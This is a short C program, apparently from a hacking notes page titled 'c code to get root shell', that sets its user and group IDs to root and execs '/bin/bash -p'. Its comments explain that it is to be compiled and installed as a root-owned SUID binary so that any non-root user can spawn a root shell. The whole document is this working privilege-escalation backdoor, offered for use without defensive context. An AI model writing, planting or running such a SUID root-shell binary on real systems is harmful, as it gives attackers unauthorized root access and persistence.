c code to get root shell
#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
/*
This program is designed to be compiled and then have its ownership
and permissions modified to allow for privilege escalation. When a
non-root user executes this binary with the SUID bit set, it will
spawn a shell with root privileges.
*/
int main(void) {
// Set the Real User ID (RUID) and Effective User ID (EUID) to 0 (root).
// This call will only succeed if the program is run by root or if
// the executable has the SUID bit set and is owned by root.
if (setuid(0) != 0) {
perror("setuid failed");
return 1;
}
// Also set the Group ID (GID) to 0 for completeness.
if (setgid(0) != 0) {
perror("setgid failed");
return 1;
}
// Prepare the arguments for the new shell process.
// The program to run is "/bin/bash".
// The "-p" flag is critical: it tells bash not to drop its effective
// privileges, ensuring we get a root shell (euid=0).
// The list of arguments must be terminated by a NULL pointer.
char *args[] = {"/bin/bash", "-p", NULL};
// Replace the current process with /bin/bash.
// execve is a system call that executes a new program.
// It takes the path to the program, the arguments, and environment variables.
// We pass NULL for the environment to keep it simple.
execve("/bin/bash", args, NULL);
// The following lines will only be executed if execve() fails.
// This is important for error checking.
perror("execve failed");
return 1;
}Last updated